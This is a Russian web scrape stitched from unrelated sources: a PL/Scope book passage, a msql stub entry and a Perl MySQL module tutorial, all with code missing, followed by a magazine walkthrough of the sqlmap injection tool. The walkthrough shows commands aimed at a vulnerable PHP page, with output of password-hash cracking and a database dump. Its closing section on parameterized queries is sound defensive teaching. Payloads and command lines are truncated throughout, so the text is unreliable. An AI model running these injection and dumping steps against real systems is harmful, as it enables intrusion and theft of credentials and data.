Вы можете писать запросы к USER_IDENTIFIERS для поиска в коде разнообразной информации, включая нарушения правил об именах. Такие редакторы P L/SQL , как Toad, наверняка скоро начнут предоставлять доступ к данным PL/Scope , упрощая их использование для анализа кода. А пока этого не произошло, вам придется строить собственные запросы (или использовать написанные и опубликованные другими разработчиками).

Чтобы использовать PL/Scope , необходимо сначала приказать компилятору PL/SQL проанализировать идентификаторы программы в процессе компиляции. Для этого следует изменить значение параметра компилятора PLSC0PE_SETTINGS . Это можно делать на уровне сеанса и даже для отдельной программы, как в следующем примере:

Чтобы узнать значение PLSC0PE_SETTINGS для любой конкретной программы, обратитесь с запросом к USER_PLSQL_0BJECT_SETTINGS .

После включения PL/Scope при компиляции программы Oracle будет заполнять словарь данных подробной информацией об использовании каждого идентификатора в программе (переменные, типы, программы и т. д.).

Рассмотрим несколько примеров использования PL/Scope . Допустим, я создаю следующую спецификацию пакета и процедуру с включенной поддержкой PL/Scope:

Настройки PL/Scope проверяются следующим образом:

Проверка объявлений, обнаруженных в процессе компиляции этих двух программ:

Теперь я могу получить информацию обо всех локально объявляемых переменных:

Впечатляет, однако возможности PL/Scope этим не ограничиваются. Я могу получить информацию обо всех местах программы, в которых используется эта переменная, а также о типе использования:

Даже из этих простых примеров видно, что PL/Scope предоставляет выдающиеся возможности для того, чтобы лучше разобраться в коде и проанализировать изменения. Лукас Джеллема из AMIS предоставил более интересные и сложные примеры использования PL/Scope для проверки имен. Соответствующие запросы содержатся в файле 11g_plscope_amis.sql на сайте книги.

Кроме того, я создал вспомогательный пакет и демонстрационные сценарии, которые помогут вам начать работу с PL/Scope. Просмотрите файлы plscope_helper*.* , а также другие файлы plscope*.*.

Что такое код msql_listfields

msql_listfields — список результирующих полей.

Описание


Назад Оглавление Вперёд
msql_listdbs Вверх msql_listtables

Материалы, которые находятся на этой страничке, любезно предоставлены Игорем Ивановым

Записки *NIX Админа

четверг, 14 июня 2012 г.

Работа с Mysql в Perl (модуль Mysql)

Очень часто приходиться писать различные скрипты на perl.
Большинство скриптов берет или пишет какие либо данные в БД.
Самой популярной БД является MySql, поэтому я опишу основные моменты, как это делать в perl.
Примечание: используемая ОС — Gentoo, но справедливо для любой Linux или *BSD системы.

Необходимые компоненты:

  • Собственно сам Perl. Ставится просто:
  • А также необходимые модули. Проще всего ставить через CPAN.
    Главный модуль, который нам нужен — это Mysql.
    Он же, в свою очередь требует включения DBI и DBD::mysql.
    Модуль YAML (аналог XML) нужен для большинства модулей
    Можно либо ставить каждый модуль отдельно следующим образом: или получить shell и выполнить в интерактивном режиме установку в нем Примечание: Возможно понадобится использовать «force install [module]». Все модули должны ставиться под root либо пользователя с соответствующими правами. Рабочая папка для сборки библиотек —

/.cpan.

  • Если у Вас выбиват при запуске программы ошибку то нужно сделать
  • Подключение модуля:

    Connect

    Эта команда устанавливает соединение с сервером и базой данных.
    Без аргумента или с пустой строкой в качестве первого аргумента он связывается с устройством UNIX /dev/mysql, который сильно повышает эффективность.
    Имя базы данных во втором аргументе указывает с какой именно базой данных надо связаться.
    Возвращается дескриптор базы данных, если команда Connect выполнена успешно.
    В противном случае возвращаемое значение не определено.
    Если Вы используете mysqld, скомпилированный с библиотекой потоков MIT, Вы не сможете использовать устройства. В этом случае укажите имя сервера в переменной host.
    А вообще библиотека потоков MIT такое глюкало.

    Можно указать имя пользователя и пароль.
    Если имя пользователя не указано, используется текущий логин.
    Если не указан пароль, а пользователь его имеет, связь установить не получится.

    Возвращаемый дескриптор нужен для обращения к базе данных.
    Можно отдать несколько команд Connect переменных ($dbh1,$dbh2, $dbh3, . )

    Из полученного дескриптора можно извлечь сведения о имени сервера, порте и имени базы данных:
    Имя базы данных не определено, если при вызове команды Connect было указано только имя сервера.

    Смена порта

    Сменить порт, к которому присоединился MysqlPerl можно так:

    SelectDB

    Выбор базы данных для использования.

    Если база данных не выбрана в команде Connect, или если нужно связаться с другой базой данных, то используется дескриптор базы данных из предыдущего вызова команды Connect. Он используется командой SelectDB.

    ListDBs

    Список доступных баз данных.
    СИНТАКСИС:

    ОПИСАНИЕ:
    ListDBs возвращает массив, который содержит один элемент для имени каждой базы данных, управляемой MySQL.
    ПРИМЕР:

    ListTables

    Список таблиц, доступных в базе данных.

    ОПИСАНИЕ:
    Возвращает массив с одним элементом для каждого имени таблицы в базе данных. Вы должны были, определить базу данных при вызове Connect или SelectDB.
    ПРИМЕР:

    ListFields

    Список полей в таблице.
    СИНТАКСИС:

    ОПИСАНИЕ:
    ListFields возвращает операторный дескриптор, который может использоваться, чтобы выяснить, что именно сервер должен Вам передать. В случае ошибки возвращаемое значение не определено.

    MySQL ListFields не работает так же как mSQL ListFields. В MySQL Вы используете следующие команды, чтобы получить информацию после вызова ListFields.

    Перед использованием следующих функций, Вы должны выполнить успешное обращение к ListFields.

    @arr = @<$sth->name>; Возвращает массив имен столбцов
    @arr = @<$sth->length>; Возвращает массив длин столбцов
    $value = $sth->numfields; Возвращает количество столбцов в таблице
    @arr = @<$sth->type>; Массив MySQL типов
    @arr = @<$sth->is_num>; Массив 0 и 1, где 1 указывает что столбец числовой
    @arr = @<$sth->is_blob>; Массив 0 и 1, где 1 указывает что столбец — blob
    @arr = @<$sth->is_not_null>; Массив 0 и 1, где 1 указывает что столбец — не NULL

    Query

    Выполнить запрос.
    СИНТАКСИС:

    ОПИСАНИЕ:
    Эта функция позволяет Вам посылать запрос базе данных. Вы должны использовать FetchRow, чтобы получить результат.

    ПРИМЕР:
    Хорошая идея — всегда проверить ошибки. В этом примере такой проверкой занимается блок «or die. » оператора Query.

    FetchCol

    Возвращает массив, содержащий один столбец, состоящий из значений.
    СИНТАКСИС:
    ОПИСАНИЕ:
    Возвращает массив значений для столбца номер $col. FetchRow возвращает следующую строку результата запроса. FetchCol возвращает весь одиночный столбец результата запроса.

    Обратите внимание, что эта функция сбросит текущий указатель строки на конец таблицы; вы должны использовать DataSeek(0), чтобы переустановить его.

    FetchHash

    Возвращает результат запроса.
    СИНТАКСИС:

    ОПИСАНИЕ:
    Возвращает ассоциативный массив, содержащий следующую строку, полученную с сервера.

    FetchRow

    Возвращает строку результатов.
    СИНТАКСИС:
    ОПИСАНИЕ:
    Возвращает массив значений следующей строки, полученной с сервера.

    Пример
    Выводит описание структуры таблицы TABLE_NAME

    DataSeek

    Обработка двоичных строк

    Некоторых символов нужно избежать прежде, чем двоичные строки могут быть вставлены в базу данных MySQL. MySQL perl API обеспечивает следующую функцию, чтобы делать это автоматически.

    ОПИСАНИЕ:
    Конвертирует строку: пропускает все символы ‘ и \, а также конвертирует \0 и \n.

    Потерянные значения

    Операторный дескриптор

    Два конструктора возвращают операторный дескриптор:
    $sth хранит все метаданные, предоставляемые API:

    Sqlmap: SQL-инъекции — это просто

    Содержание статьи

    Разработкой сканера занимаются два человека. Мирослав Штампар (@stamparm), профессиональный разработчик софта из Хорватии, и Бернардо Дамеле (@inquisb), консультант по ИБ из Италии, сейчас проживающий и работающий в Великобритании. Проект появился на свет в 2006 г. благодаря Даниэлю Беллучи (@belch), но по-настоящему стремительно стал развиваться после того, как в 2009 г. в работу включились Мирослав и Бернардо.

    Итак, что такое sqlmap? Одна из мощнейших открытых утилит для пентестера, которая автоматизирует процесс поиска и эксплуатации SQL-инъекций с целью извлечения данных или захвата удаленного хоста. Что делает sqlmap отличным от других утилит для обнаружения SQL-инъекций, так это возможность эксплуатировать каждую найденную уязвимость. Это означает, что sqlmap способен не только находить «дырку», но еще и заюзать ее по полной программе. А коль уж в качестве задачи ставится именно эксплуатация уязвимости, то сканеру приходится быть особенно внимательным к деталям: он не будет выдавать миллион ложных срабатываний «так, на всякий случай» (как это мы видим во многих других приложениях). Любая потенциальная уязвимость дополнительно проверяется на возможность эксплуатации. Сканер из коробки идет с огромным функционалом, начиная от возможности определения системы управления базой данных (далее DBMS), создания дампа (копии) данных и заканчивая получением доступа к системе с возможностью обращаться к произвольным файлам на хосте и выполнять на сервере произвольные команды. И все-таки главное — это обнаружение возможности сделать инъекцию SQL-кода.

    SQL-инъекция: что это?

    SQL-инъекция — это атака, направленная на веб-приложение, в ходе которой конструируется SQL-выражение из пользовательского ввода путем простой конкантенации (например, $query=»SELECT * FROM users WHERE ] ). В случае успеха атакующий может изменить логику выполнения SQL-запроса так, как это ему нужно. Чаще всего он выполняет простой fingerprinting СУБД, а также извлекает таблицы с наиболее «интересными» именами (например «users»). После этого, в зависимости от привилегий, с которыми запущено уязвимое приложение, он может обратиться к защищенным частям бэк-энда веб-приложения (например, прочитать файлы на стороне хоста или выполнить произвольные команды).

    Какие уязвимости может находить SQLMAP?

    Есть пять основных классов SQL-инъекций, и все их поддерживает
    sqlmap:

    • UNION query SQL injection. Классический вариант внедрения SQL-кода, когда в уязвимый параметр передается выражение, начинающееся с «UNION ALL SELECT». Эта техника работает, когда веб-приложения напрямую возвращают результат вывода команды SELECT на страницу: с использованием цикла for или похожим способом, так что каждая запись полученной из БД выборки последовательно выводится на страницу. Sqlmap может также эксплуатировать ситуацию, когда возвращается только первая запись из выборки (Partial UNION query SQL injection).
    • Error-based SQL injection. В случае этой атаки сканер заменяет или добавляет в уязвимый параметр синтаксически неправильное выражение, после чего парсит HTTP-ответ (заголовки и тело) в поиске ошибок DBMS, в которых содержалась бы заранее известная инъецированная последовательность символов и где-то «рядом» вывод на интересующий нас подзапрос. Эта техника работает только тогда, когда веб-приложение по каким-то причинам (чаще всего в целях отладки) раскрывает ошибки DBMS.
    • Stacked queries SQL injection. Сканер проверяет, поддерживает ли веб-приложение последовательные запросы, и, если они выполняются, добавляет в уязвимый параметр HTTP-запроса точку с запятой (;) и следом внедряемый SQL-запрос. Этот прием в основном используется для внедрения SQL-команд, отличных от SELECT, например для манипуляции данными (с помощью INSERT или DELETE). Примечательно, что техника потенциально может привести к возможности чтения/записи из файловой системы, а также выполнению команд в ОС. Правда, в зависимости от используемой в качестве бэк-энда системы управления базами данных, а также пользовательских привилегий.
    • Boolean-based blind SQL injection. Реализация так называемой слепой инъекции: данные из БД в «чистом» виде уязвимым веб-приложением нигде не возвращаются. Прием также называется дедуктивным. Sqlmap добавляет в уязвимый параметр HTTP-запроса синтаксически правильно составленное выражение, содержащее подзапрос SELECT (или любую другую команду для получения выборки из базы данных). Для каждого полученного HTTP-ответа выполняется сравнение headers/body страницы с ответом на изначальный запрос — таким образом, утилита может символ за символом определить вывод внедренного SQL-выражения. В качестве альтернативы пользователь может предоставить строку или регулярное выражение для определения «true»-страниц (отсюда и название атаки). Алгоритм бинарного поиска, реализованный в sqlmap для выполнения этой техники, способен извлечь каждый символ вывода максимум семью HTTP-запросами. В том случае, когда вывод состоит не только из обычных символов, сканер подстраивает алгоритм для работы с более широким диапазоном символов (например для unicode’а).
    • Time-based blind SQL injection. Полностью слепая инъекция. Точно так же как и в предыдущем случае, сканер «играет» с уязвимым параметром. Но в этом случае добавляет подзапрос, который приводит к паузе работы DBMS на определенное количество секунд (например, с помощью команд SLEEP() или BENCHMARK()). Используя эту особенность, сканер может посимвольно извлечь данные из БД, сравнивая время ответа на оригинальный запрос и на запрос с внедренным кодом. Здесь также используется алгоритм двоичного поиска. Кроме того, применяется специальный метод для верификации данных, чтобы уменьшить вероятность неправильного извлечения символа из-за нестабильного соединения.

    Несмотря на то что сканер умеет автоматически эксплуатировать найденные уязвимости, нужно детально представлять себе каждую из используемых техник. Если тема SQL-инъекций тебе пока знакома только на пальцах, рекомендую полистать архив ][ или прочитать мануал Дмитрия Евтеева «SQL Injection: От А до Я». Важно также понимать, что для разных DBMS реализации атаки зачастую сильно отличаются. Все эти случаи умеет обрабатывать sqlmap и на данный момент поддерживает MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, SQLite, Firebird, Sybase и SAP MaxDB.

    Фишки SQLMAP

    Движок для определения SQL-уязвимостей — пускай и самая важная, но все-таки не единственная часть функционала sqlmap. И прежде чем показать работу сканера в действии, не могу хотя бы вкратце, но не рассказать о некоторых его фишках. Итак, в sqlmap реализовано:

    • Извлечение имен пользователей, хешей их паролей, а также привилегий и полей.
    • Автоматическое распознавание типа используемого хеша и возможность взлома его с помощью брутфорса по словарю.
    • Получение списка баз данных, таблиц и столбцов.
    • Возможность сделать полный или частичный дамп базы данных.
    • Продвинутый механизм поиска баз, таблиц или даже столбцов (по всем базам сразу), что может быть полезно для определения таблиц с «интересными» данными вроде имен пользователей (users) или паролей (pass).
    • Загрузка или, наоборот, закачка произвольных файлов на сервер, если уязвимое веб-приложение использует MySQL, MySQL, PostreSQL или Microsoft SQL Server.
    • Выполнение произвольных команд и получение шелла, если на хосте используется одна из СУБД, перечисленных в предыдущем пункте.
    • Поддержка прямого подключения к базе данных (без явного использования SQL-уязвимости) с использованием полученных в ходе атаки имени и пароля пользователя для доступа к DMBS, а также IP-адреса, порта и имени базы данных.
    • Установка надежного TCP-соединения (так называемого out-ofband) между машиной пентестера и хостом, на котором запущен сервер баз данных. В качестве обертки для этого канала может стать интерактивная командная строка (шелл), сессия Meterpreter или доступ к удаленному рабочему столу через VNC-подключение.
    • Повышение привилегий для процесса базы данных через команду getsystem Metasploit’а, которая, помимо прочих, реализует известную технику kitrap0d (MS10-015).

    Как один из авторов этой утилиты могу сказать: это действительно хороший инструмент, созданный хакерами для хакеров. И он работает!

    Приступаем к практике

    Убедиться в этом тебе помогут несколько моих сценариев. Это наиболее типичные ситуации, которые используют основные возможности sqlmap. К слову, ты тоже можешь сразу проверить весь функционал сканера — например, на специально созданном тренировочном приложении от OWASP (www.owasp.org), в котором намеренно воссозданы многие из опасных ошибок программистов. Тут надо сказать, что sqlmap написан на Python’е, а значит, ты сможешь запустить его под любой ОС. Единственное требование — это установленный в системе интерпретатор пайтона. В качестве объекта для теста на проникновение я буду использовать виртуальную машину, на которой будет крутиться стандартный стек LAMP (Linux/Apache/MySQL/PHP) вместе с несколькими уязвимыми веб-приложениями.

    Сценарий № 1

    Условимся, что мы хотим проэксплуатировать уязвимость, которая была найдена в GET-параметре » >

    $ python sqlmap.py -u «http://www.site.com/vuln.php? > sqlmap/1.0-dev (r4365) — automatic SQL injection and database takeover tool

    Сканер определит несколько точек для выполнения инъекций в 17 HTTP(S)-запросах. Обрати внимание, что для каждой из них указывается тип, а также пэйлоад.

    Place: GET
    Parameter: id
    Type: boolean-based blind
    Title: AND boolean-based blind — WHERE or HAVING clause
    Payload: >

    Type: error-based
    Title: MySQL >= 5.0 AND error-based — WHERE or HAVING clause
    Payload: >

    Type: UNION query
    Title: MySQL UNION query (NULL) — 3 columns
    Payload: >

    Type: AND/OR time-based blind
    Title: MySQL > 5.0.11 AND time-based blind
    Payload: >

    Помимо этого, сканер выполнит распознавание базы данных, а также других технологий, использованных веб-приложением:

    [02:01:45] [INFO] the back-end DBMS is MySQL
    web application technology: PHP 5.2.6, Apache 2.2.9
    back-end DBMS: MySQL 5.0

    В конце концов полученные данные будут записаны в определенный файл:

    [02:01:45] [INFO] Fetched data logged to text fi les under ‘/opt/sqlmap/output/www.site.com’

    Сценарий № 2

    Теперь следующий пример. Предположим, что мы хотим устроить более детальный fingerprinting (-f) и получить текстовый баннер (—banner) системы управления базой данных, включая ее официальное название, номер версии, а также текущего пользователя (—current-user). Кроме того, нас будут интересовать сохраненные пароли (—passwords) вместе с именами таблиц (—tables), но не включая системные, (—exclude-sysdbs) — для всех содержащихся в СУБД баз данных. Нет проблем, запускаем сканер:

    $ python sqlmap.py -u «http://www.site.com/vuln.php? >

    Очень скоро мы получим все данные об используемых технологиях, которые запрашивали:

    [02:08:27] [INFO] fetching banner
    [02:08:27] [INFO] actively fi ngerprinting MySQL
    [02:08:27] [INFO] executing MySQL comment injection fi ngerprint

    Error-based SQL injection web application technology: PHP 5.2.6, Apache 2.2.9
    back-end DBMS: active fi ngerprint: MySQL >= 5.1.12 and [02:08:28] [INFO] fetching current user
    current user: ‘root@localhost’

    Далее получаем хеши всех пользовательских паролей и выполняем брутфорс-атаку по словарю:

    [02:08:28] [INFO] fetching database users password hashes
    do you want to perform a dictionary-based attack against retrieved password hashes? [Y/n/q] Y
    [02:08:30] [INFO] using hash method ‘mysql_passwd’
    what dictionary do you want to use?
    [02:08:32] [INFO] using default dictionary
    [02:08:32] [INFO] loading dictionary from ‘/opt/sqlmap/txt/wordlist.txt’
    do you want to use common password suffi xes? (slow!) [y/N] N
    [02:08:33] [INFO] starting dictionary-based cracking (mysql_passwd)
    [02:08:35] [INFO] cracked password ‘testpass’ for user ‘root’
    database management system users password hashes:
    [] debian-sys-maint [1]:
    password hash: *6B2C58EABD91C1776DA223B088B601604F898847
    [
    ] root [1]:
    password hash: *00E247AC5F9AF26AE0194B41E1E769DEE1429A29
    clear-text password: testpass

    Опа! Для root’а мы быстро подобрали пароль (для примера он был очень простой). Пришло время сдампить интересующие нас данные:

    [02:08:35] [INFO] fetching database names
    [02:08:35] [INFO] fetching tables for databases: information_schema, mysql, owasp10, testdb
    [02:08:35] [INFO] skipping system databases: information_schema, mysql

    Database: owasp10
    [3 tables]
    +—————+
    | accounts |
    | blogs_table |
    | hitlog |
    +—————+
    Database: testdb
    [1 table]
    +————-+
    | users |
    +————-+
    [02:08:35] [INFO] Fetched data logged to text fi les under ‘/opt/sqlmap/output/www.site.com’

    Сценарий № 3

    Теперь, обнаружив в базе данных testdb-таблицу (-D testdb) с интересным именем «users» (-T users), мы, естественно, заходим заполучить ее содержимое себе (—dump). Но чтобы показать еще одну интересную опцию, не будем копировать все данные просто в файле, а реплицируем содержимое таблиц в основанную на файлах базу данных SQLite на локальной машине (—replicate).

    $ python sqlmap.py -u «http://www.site.com/vuln.php? >

    Сканеру не составит труда определить названия столбцов для таблицы users и вытащить из нее все записи:

    [02:11:26] [INFO] fetching columns for table ‘users’ on database ‘testdb’
    [02:11:26] [INFO] fetching entries for table ‘users’ on database ‘testdb’
    Database: testdb
    Table: users
    [4 entries]
    +—-+———+————+
    | id | name | surname |
    +—-+———+————+
    | 2 | fluffy | bunny |
    | 3 | wu | ming |
    | 1 | luther | blissett |
    | 4 | NULL | nameisnull |
    +—-+———+————+
    [02:11:27] [INFO] Table ‘testdb.users’ dumped to sqlite3 file

    Таким образом мы получим дамп базы данных в файле testdb.sqlite3 в формате SQLite. Фишка в том, что в при таком раскладе мы не только можем посмотреть данные, но еще и выполнить к ней любые запросы, заюзав возможности SQLite (например, с помощью программы SQLite Manager).

    Как защититься?

    Наиболее надежным способом предотвращения SQL-инъекций является использование параметризированных SQL-параметров. К примеру, в случае с PHP это возможно с помощью пакета PEAR’s DB, предлагающего интерфейс для выполнения абсолютно безопасных SQL-выражений. Обращение к БД происходит следующим образом: $p = $db->prepare(«SELECT * FROM users WHERE >execute($p, array($_GET[‘id’])) . Основная идея заключается в том, что если позиция параметров явно задана, то можно абсолютно безопасно передавать SQL-запросы базе данных, исключая возможность для параметров самим стать SQL-выражениями (в том числе зловредными). Стоит заметить, что другие механизмы, такие как использование принудительного приведения типов (например, с помощью функции intval()) в связке с экранированием строк такими функциями, как mysql_real_escape_string() или addslashes(), не являются абсолютно безопасными. Проблема в том, что существуют некоторые варианты для их обхода, а следовательно, к их использованию необходимо подходить с максимальным вниманием.

    Резюме

    В прошлом номере в рубрике Proof-of-concept я рассказывал тебе о DSSS, небольшом Python-скрипте, который умеет обнаруживать SQL-уязвимости. Идея заключалась в том, чтобы создать эффективный сканер, который будет хорошо работать, но уложиться при этом в 100 строчек кода. Это лишний раз доказывает, что обнаружение SQL-уязвимостей — это лишь малая часть дела. Их эксплуатация — вопрос куда более сложный. Но его готов взять на разрешение sqlmap, в котором мы объединили многолетний опыт огромного количества пентестеров, чтобы сканер мог эффективно не только находить SQL-инъекции, но и извлекать из этого максимальную выгоду.